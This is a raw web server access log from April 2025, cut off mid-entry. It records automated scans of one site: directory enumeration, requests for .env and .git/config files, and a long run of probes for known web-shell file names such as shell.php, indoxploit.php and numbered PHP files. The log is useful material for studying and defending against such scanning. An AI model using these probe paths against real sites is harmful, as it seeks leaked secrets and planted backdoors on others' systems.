"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:53 -0400] "GET /themes/newstoday/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:54 -0400] "GET /css/dist/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:54 -0400] "GET /css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:54 -0400] "GET /images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:54 -0400] "GET /js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:54 -0400] "GET /maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:55 -0400] "GET /Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:55 -0400] "GET /phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:55 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:55 -0400] "GET /themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:55 -0400] "GET /languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:56 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:56 -0400] "GET /well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:56 -0400] "GET /informasi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:56 -0400] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:56 -0400] "GET /uploads/2020/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:57 -0400] "GET /themes/rehub-theme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:57 -0400] "GET /phpmailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 87.249.133.79 - - [27/Apr/2025:05:14:57 -0400] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:57 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:57 -0400] "GET /themes/fitnessbase/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:58 -0400] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:58 -0400] "GET /joomla/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:58 -0400] "GET /images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:58 -0400] "GET /themes/calmly/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:58 -0400] "GET /php-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:59 -0400] "GET /Feature/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:59 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:59 -0400] "GET /images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:59 -0400] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:59 -0400] "GET /font/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:15:00 -0400] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:15:00 -0400] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:15:00 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:15:00 -0400] "GET /js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:00 -0400] "GET /themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:15:01 -0400] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:01 -0400] "GET /themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:01 -0400] "GET /blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:01 -0400] "GET /blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:02 -0400] "GET /themes/finley/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:02 -0400] "GET /themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:02 -0400] "GET /themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:15:02 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:15:03 -0400] "GET /js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:15:03 -0400] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:15:03 -0400] "GET /language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:15:03 -0400] "GET /.well-known/pkivalidation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:15:03 -0400] "GET /xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 85.203.44.68 - - [27/Apr/2025:05:21:16 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 198.235.24.18 - - [27/Apr/2025:05:33:26 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.207.107.130 - - [27/Apr/2025:06:07:28 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1" 102.129.235.134 - - [27/Apr/2025:06:08:36 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 170.106.35.153 - - [27/Apr/2025:06:14:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [27/Apr/2025:06:29:14 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:30:00 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:31:03 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:44:16 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:44:26 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:44:37 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:49:02 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:49:29 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:49:58 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:56:12 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:56:28 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:56:46 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:56:57 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:57:00 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:06:57:24 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:07:00:27 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:07:00:34 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:07:00:41 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "get_local:DCV" 13.239.26.176 - - [27/Apr/2025:07:01:32 -0400] "GET /portal/.git/config HTTP/1.1" 403 1242 "-" "-" 13.239.26.176 - - [27/Apr/2025:07:01:32 -0400] "GET /dashboard/.git/config HTTP/1.1" 403 1242 "-" "-" 13.239.26.176 - - [27/Apr/2025:07:01:33 -0400] "GET /cms/.git/config HTTP/1.1" 403 1242 "-" "-" 13.239.26.176 - - [27/Apr/2025:07:01:33 -0400] "GET /wp-content/.git/config HTTP/1.1" 403 1242 "-" "-" 13.239.26.176 - - [27/Apr/2025:07:01:33 -0400] "GET /blog/.git/config HTTP/1.1" 403 1242 "-" "-" 139.190.141.151 - - [27/Apr/2025:07:47:36 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:41 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:41 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:46 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:47 -0400] "GET /wp-content/themes/seotheme/mar.php/wp-admin/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:51 -0400] "GET /wp-admin/cpanel HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:52 -0400] "GET /wp-admin/images HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:52 -0400] "GET /wp-admin/hacker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:47:59 -0400] "GET /wp-admin/hacked.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:00 -0400] "GET /wp-admin/hekel.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:05 -0400] "GET /wp-admin/heker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:11 -0400] "GET /wp-admin/sea.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:15 -0400] "GET /wp-admin/web.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:23 -0400] "GET /wp-admin/root.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:33 -0400] "GET /wp-admin/r00t.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:34 -0400] "GET /wp-admin/idx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:36 -0400] "GET /wp-admin/indoxploit.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:40 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:48 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:51 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:54 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:48:59 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:01 -0400] "GET /wp-admin/2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:04 -0400] "GET /wp-admin/3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:05 -0400] "GET /wp-admin/4.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:07 -0400] "GET /wp-admin/5.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:08 -0400] "GET /wp-admin/6.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:13 -0400] "GET /wp-admin/7.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:14 -0400] "GET /wp-admin/8.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:16 -0400] "GET /wp-admin/9.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:17 -0400] "GET /wp-admin/10.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:17 -0400] "GET /wp-admin/11.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:18 -0400] "GET /wp-admin/12.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:20 -0400] "GET /wp-admin/13.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:22 -0400] "GET /wp-admin/14.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:24 -0400] "GET /wp-admin/15.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:29 -0400] "GET /wp-admin/16.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:30 -0400] "GET /wp-admin/17.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:31 -0400] "GET /wp-admin/18.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:35 -0400] "GET /wp-admin/19.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:35 -0400] "GET /wp-admin/20.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:37 -0400] "GET /wp-admin/21.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:41 -0400] "GET /wp-admin/22.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:42 -0400] "GET /wp-admin/23.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:44 -0400] "GET /wp-admin/24.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:45 -0400] "GET /wp-admin/25.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:46 -0400] "GET /wp-admin/26.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:48 -0400] "GET /wp-admin/27.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:51 -0400] "GET /wp-admin/28.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:52 -0400] "GET /wp-admin/29.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:53 -0400] "GET /wp-admin/30.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:54 -0400] "GET /wp-admin/31.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:58 -0400] "GET /wp-admin/32.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:49:59 -0400] "GET /wp-admin/33.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:00 -0400] "GET /wp-admin/34.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:01 -0400] "GET /wp-admin/35.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:05 -0400] "GET /wp-admin/36.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:05 -0400] "GET /wp-admin/37.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:09 -0400] "GET /wp-admin/38.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:12 -0400] "GET /wp-admin/39.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:18 -0400] "GET /wp-admin/40.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:18 -0400] "GET /wp-admin/41.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:20 -0400] "GET /wp-admin/42.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:21 -0400] "GET /wp-admin/43.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:25 -0400] "GET /wp-admin/44.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:29 -0400] "GET /wp-admin/45.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:32 -0400] "GET /wp-admin/46.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:34 -0400] "GET /wp-admin/47.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:34 -0400] "GET /wp-admin/48.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:40 -0400] "GET /wp-admin/49.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:41 -0400] "GET /wp-admin/50.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:41 -0400] "GET /wp-admin/kontol.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:42 -0400] "GET /wp-admin/memek.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:43 -0400] "GET /wp-admin/peju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:47 -0400] "GET /wp-admin/onion.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:47 -0400] "GET /wp-admin/malay.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:48 -0400] "GET /wp-admin/69.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:52 -0400] "GET /wp-admin/crack.php 